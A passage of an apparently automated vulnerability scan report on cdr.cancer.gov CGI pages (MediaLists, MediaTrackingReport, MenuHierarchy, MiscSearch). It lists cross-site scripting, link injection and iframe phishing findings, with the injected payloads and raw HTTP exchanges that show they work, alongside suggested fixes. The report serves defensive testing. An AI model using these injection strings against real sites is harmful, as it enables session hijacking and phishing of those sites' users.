<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1580.html"> '>

<fieldset>
```

```
        <legend> Display CDR-ID? </legend>
        <input name='showId' type='radio' id="idNo"
        value='N' CHECKED>
        <label for="idNo">Without CDR-ID</label>
        <br>
        <input name='showId' type='radio' id="idYes"
        value='Y'>
        <label for="idY
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448286 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1579+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaLists.py? Session=None%27%22%3E%3Ciframe+id%3D1579+src%3Dhttp%3A%2F%2Fdemo.t
estfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:07:37 GMT
Connection: close
Content-Length: 10696


...
st' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Lists - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1579 src= http://demo.testfire.net/p
hishing.html > >'>

<fieldset>
<legend> Display CDR-ID? </legend>
<input name='showId' type='radio' id="idNo"
value='N' CHECKED>
<label for="idNo">Without CDR-ID</label>
<br>
<input name='showId' type='radio' id="idYes"
value='Y'>
...
...
st' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Lists - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1579 src= http://demo.testfire.net/p
hishing.html > >'>

<fieldset>
```

```
        <legend> Display CDR-ID? </legend>
        <input name='showId' type='radio' id="idNo"
        value='N' CHECKED>
        <label for="idNo">Without CDR-ID</label>
        <br>
        <input name='showId' type='radio' id="idYes"
        value='Y'>
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448115 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/MediaLists.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:04 GMT
Connection: close
Content-Length: 10634

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Media List</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448223 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/MediaLists.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaLists.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:16 GMT
Connection: close
Content-Length: 10634

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Media List</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448266 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1645)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaTrackingReport.py? Session=None'/><script>alert(1645)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:09:17 GMT
Connection: close
Content-Length: 7796

...
E='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Tracking Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1645) </script>'>
<TABLE BORDER='0'>
<TR>
<TD><B>Start Date: </B></TD>
<TD><INPUT NAME='FromDate' VALUE='2014-06-24'> 
(use format YYYY-MM-DD for dates, e.g. 2002-01-01)</TD>
</TR>
<TR>
<TD><B>End Date: </B></TD>
<TD><INPUT NAME='ToDate'
...
...
E='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Tracking Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
        <INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1645) </script>'>
        <TABLE BORDER='0'>
        <TR>
        <TD><B>Start Date: </B></TD>
        <TD><INPUT NAME='FromDate' VALUE='2014-06-24'> 
        (use format YYYY-MM-DD for dates, e.g. 2002-01-01)</TD>
        </TR>
        <TR>
        <TD><B>End Date: </B></TD>
        <TD><INPUT NAME='ToDate'
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448116 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1642.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/MediaTrackingReport.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1642.html%22%3
E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:09:16 GMT
Connection: close
Content-Length: 7793

...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Tracking Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1642.html"> '>
<TABLE BORDER='0'>
<TR>
<TD><B>Start Date: </B></TD>
<TD><INPUT NAME='FromDate' VALUE='2014-06-24'> 
(use format YYYY-MM-DD for dates, e.g. 2002-01-01)</TD>
</TR>
<TR>
<TD><B>End Date: </B></TD>
<TD><INPUT NAME='ToDate' VALUE='20
...
...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Tracking Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1642.html"> '>
<TABLE BORDER='0'>
<TR>
```

```
        <TD><B>Start Date: </B></TD>
        <TD><INPUT NAME='FromDate' VALUE='2014-06-24'> 
        (use format YYYY-MM-DD for dates, e.g. 2002-01-01)</TD>
        </TR>
        <TR>
        <TD><B>End Date: </B></TD>
        <TD><INPUT NAME='ToDate' VALUE='20
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448220 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D1641+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/MediaTrackingReport.py? Session=None%27%22%3E%3Ciframe+id%3D1641+src%3Dhttp%3A%2F
%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:09:16 GMT
Connection: close
Content-Length: 7827

...
st' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Tracking Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1641 src= http://demo.testfire.net/p
hishing.html > >'>
<TABLE BORDER='0'>
<TR>
<TD><B>Start Date: </B></TD>
<TD><INPUT NAME='FromDate' VALUE='2014-06-24'> 
(use format YYYY-MM-DD for dates, e.g. 2002-01-01)</TD>
</TR>
<TR>
<TD><B>End Date: </B></TD>
<TD><INPUT NAM
...
...
st' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Tracking Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1641 src= http://demo.testfire.net/p
hishing.html > >'>
<TABLE BORDER='0'>
```

```
        <TR>
        <TD><B>Start Date: </B></TD>
        <TD><INPUT NAME='FromDate' VALUE='2014-06-24'> 
        (use format YYYY-MM-DD for dates, e.g. 2002-01-01)</TD>
        </TR>
        <TR>
        <TD><B>End Date: </B></TD>
        <TD><INPUT NAM
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448049 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/MediaTrackingReport.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:07 GMT
Connection: close
Content-Length: 7765

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448111 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/MediaTrackingReport.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaTrackingReport.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:30 GMT
Connection: close
Content-Length: 7765

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448178 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'guest'/><script>alert(603)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/MenuHierarchy.py? Session=guest'/><script>alert(603)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:10:20 GMT
Connection: close
Content-Length: 2531

...
='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Menu Hierarchy Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'/><script> alert(603) </script>'>
<H2>Select the menu type for the report.</H2>
<SELECT NAME='MenuType'>

<OPTION SELECTED='1'>Key intervention type</OPTION>

<OPTION>Genetics Professionals--GeneticSyndrome</OPTION>

<OPTION>Key cancer type</OPTION>

<OPTION>Genetics Professionals--CancerT
...
...
='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Menu Hierarchy Report<BR></span>
</TD>
</TR>
</TABLE>
```

```
        <BR>
        <BR>
        <INPUT TYPE='hidden' NAME='Session' VALUE='guest'/><script> alert(603) </script>'>
        <H2>Select the menu type for the report.</H2>
        <SELECT NAME='MenuType'>

        <OPTION SELECTED='1'>Key intervention type</OPTION>

        <OPTION>Genetics Professionals--GeneticSyndrome</OPTION>

        <OPTION>Key cancer type</OPTION>

        <OPTION>Genetics Professionals--CancerT
        ...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448216 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%27%22%3E%3Ciframe+id%3D599+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/MenuHierarchy.py? Session=guest%27%22%3E%3Ciframe+id%3D599+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:10:19 GMT
Connection: close
Content-Length: 2562


...
t' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Menu Hierarchy Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'"> <iframe id=599 src= http://demo.testfire.net/phishing.html > >'>
<H2>Select the menu type for the report.</H2>
<SELECT NAME='MenuType'>

<OPTION SELECTED='1'>Genetics Professionals--GeneticSyndrome</OPTION>

<OPTION>Key cancer type</OPTION>

<OPTION>Genetics Professionals--CancerType</OPTION>

<OPTION>Genetic
...
...
t' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Menu Hierarchy Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
        <INPUT TYPE='hidden' NAME='Session' VALUE='guest'"> <iframe id=599 src= http://demo.testfire.net/p
        hishing.html > >'>
        <H2>Select the menu type for the report.</H2>
        <SELECT NAME='MenuType'>

        <OPTION SELECTED='1'>Genetics Professionals--GeneticSyndrome</OPTION>

        <OPTION>Key cancer type</OPTION>

        <OPTION>Genetics Professionals--CancerType</OPTION>

        <OPTION>Genetic
        ...
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448224 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF600.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/MenuHierarchy.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF600.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:10:19 GMT
Connection: close
Content-Length: 2527

...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Menu Hierarchy Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF600.html"> '>
<H2>Select the menu type for the report.</H2>
<SELECT NAME='MenuType'>

<OPTION SELECTED='1'>Genetics Professionals--GeneticSyndrome</OPTION>

<OPTION>Key intervention type</OPTION>

<OPTION>Key cancer type</OPTION>

<OPTION>Genetics Professionals--CancerType</OPTI
...
...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Menu Hierarchy Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
        <INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF600.html"> '>
        <H2>Select the menu type for the report.</H2>
        <SELECT NAME='MenuType'>

        <OPTION SELECTED='1'>Genetics Professionals--GeneticSyndrome</OPTION>

        <OPTION>Key intervention type</OPTION>

        <OPTION>Key cancer type</OPTION>

        <OPTION>Genetics Professionals--CancerType</OPTI
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448095 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/MenuHierarchy.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:11 GMT
Connection: close
Content-Length: 2501

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448133 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/MenuHierarchy.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/MenuHierarchy.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:09:36 GMT
Connection: close
Content-Length: 2501

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448051 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py |
| Parameter: | Session |
